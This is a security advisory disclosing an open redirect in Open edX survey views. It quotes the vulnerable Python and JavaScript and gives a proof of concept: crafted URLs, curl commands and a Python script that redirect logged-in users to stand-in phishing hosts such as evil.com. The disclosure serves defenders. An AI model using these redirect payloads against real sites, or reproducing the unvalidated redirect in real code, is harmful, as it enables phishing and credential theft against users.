Open Redirect in Survey Views via Unvalidated redirect_url Parameter

Moderate **feanil** published **GHSA-2843-x998-f8r2** 4 days ago

Package

edx-platform (pip)

Affected versions

<= master (all versions containing the survey app)

Patched versions

None

Description

Summary

The `view_survey` endpoint accepts a `redirect_url` GET parameter that is passed directly to `HttpResponseRedirect()` without any URL validation. When a non-existent survey name is provided, the server issues an immediate HTTP 302 redirect to the attacker-controlled URL. Additionally, the same unvalidated URL is embedded in a hidden form field and returned in a JSON response after form submission, where client-side JavaScript performs `location.href = url`. This enables phishing and credential theft attacks against authenticated Open edX users.

Details

Server-side open redirect in `view_survey`:

In `lms/djangoapps/survey/views.py` (lines 25-46):

```
@login_required
def view_survey(request, survey_name):
    redirect_url = request.GET.get('redirect_url')  # NO VALIDATION
    return view_student_survey(request.user, survey_name, redirect_url=redirect_url)


def view_student_survey(user, survey_name, course=None, redirect_url=None, ...):
    redirect_url = redirect_url if redirect_url else reverse('dashboard')
    survey = SurveyForm.get(survey_name, throw_if_not_found=False)
```

```
    if not survey:
        return HttpResponseRedirect(redirect_url)  # UNVALIDATED 302 REDIRECT
```

The `redirect_url` parameter flows directly from `request.GET` to `HttpResponseRedirect()` with zero validation. The codebase has a robust redirect validation function (`is_safe_login_or_logout_redirect()` in `openedx/core/djangoapps/user_authn/utils.py`) that is used extensively in login, logout, and third-party auth flows - but the survey views completely bypass this protection.

Client-side open redirect in `submit_answers`:

In `lms/djangoapps/survey/views.py` (lines 70-114):

```
@require_POST
@login_required
def submit_answers(request, survey_name):
    answers = {}
    for key in request.POST.keys():
        answers[key] = request.POST[key] if len(array_val) == 0 else ','.join(array_val)

    redirect_url = answers['_redirect_url'] if '_redirect_url' in answers else reverse('
    # NO VALIDATION on redirect_url

    response_params = json.dumps({"redirect_url": redirect_url})
    return HttpResponse(response_params, content_type="text/json")
```

In `lms/static/js/course_survey.js` (lines 66-69):

```
$('#survey-form').on('ajax:success', function(event, json, xhr) {
    var url = json.redirect_url;
    location.href = url;  // UNVALIDATED CLIENT-SIDE REDIRECT
});
```

The `redirect_url` value from the hidden form field `_redirect_url` (populated from the GET parameter) is returned in the JSON response and used directly in `location.href` without any validation.

URL route: Registered at `lms/urls.py:837`:

```
path('survey/', include('lms.djangoapps.survey.urls')),
```

Route pattern in `lms/djangoapps/survey/urls.py:11`:

```
re_path(r'^(?P<survey_name>[0-9A-Za-z]+)/$', views.view_survey, name='view_survey'
```

PoC

Prerequisites:

- Target Open edX instance with the survey app enabled (enabled by default)
- Victim must be authenticated (`@login_required` decorator)

Attack 1: Immediate 302 redirect via non-existent survey name

1. Attacker crafts a URL with a non-existent survey name:

```
https://<openedx-instance>/survey/FAKENAME/?redirect_url=https://evil-phishing-site.com/fake-login
```

2. Attacker sends this link to the victim (via email, discussion post, or any messaging channel).

3. When the victim clicks the link while logged in:

   - `@login_required` passes (user is authenticated)
   - `SurveyForm.get('FAKENAME', throw_if_not_found=False)` returns `None`
   - Server responds with `HTTP 302 Found` and `Location: https://evil-phishing-site.com/fake-login`
   - Browser redirects the victim to the phishing site

Verification with curl:

```
# Step 1: Authenticate
curl -c cookies.txt -X POST 'https://<openedx-instance>/login_ajax' \
  -d 'email=user@example.com&password=password'

# Step 2: Trigger open redirect
curl -b cookies.txt -v \
  'https://<openedx-instance>/survey/FAKENAME/?redirect_url=https://evil.com'

# Expected output:
# < HTTP/1.1 302 Found
# < Location: https://evil.com
```

Verification with Python:

```
import requests

session = requests.Session()
session.post('https://<openedx-instance>/login_ajax', data={
    'email': 'user@example.com',
    'password': 'password'
})
```

```
response = session.get(
    'https://<openedx-instance>/survey/FAKENAME/',
    params={'redirect_url': 'https://evil-phishing-site.com/'},
    allow_redirects=False
)

print(f"Status: {response.status_code}")               # 302
print(f"Location: {response.headers['Location']}")      # https://evil-phishing-site.com
```

Attack 2: Client-side redirect after survey form submission

1. If the survey name is valid, the `redirect_url` is embedded in a hidden field:

```
<input type="hidden" name="_redirect_url" value="https://evil.com" />
```

2. When the user submits the survey, the server returns JSON: `{"redirect_url": "https://evil.com"}`
3. JavaScript (`course_survey.js` line 68) executes: `location.href = "https://evil.com"`

Impact

- **Phishing attacks:** An attacker can craft legitimate-looking Open edX URLs that redirect authenticated users to phishing pages designed to mimic the Open edX login page. Since the initial URL belongs to a trusted educational institution, users are much more likely to enter credentials on the phishing site.
- **Credential theft:** Stolen credentials can be used to access course content, grades, personal information, and potentially escalate to admin access.
- **OAuth token interception:** If the open redirect is chained with OAuth authorization flows, an attacker could intercept authorization codes or access tokens.
- **Social engineering amplification:** The trusted domain in the URL increases the effectiveness of any social engineering campaign targeting Open edX users.

The attacker does not need any special privileges - only the ability to craft and distribute a URL. The victim must be authenticated, but this is typical for active Open edX users.

Severity

Moderate 4.7 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low

Privileges required	None
User interaction	Required
Scope	Changed
Confidentiality	Low
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

CVE ID

CVE-2026-35404

Weaknesses

▶ CWE-601

Credits

ik0z Reporter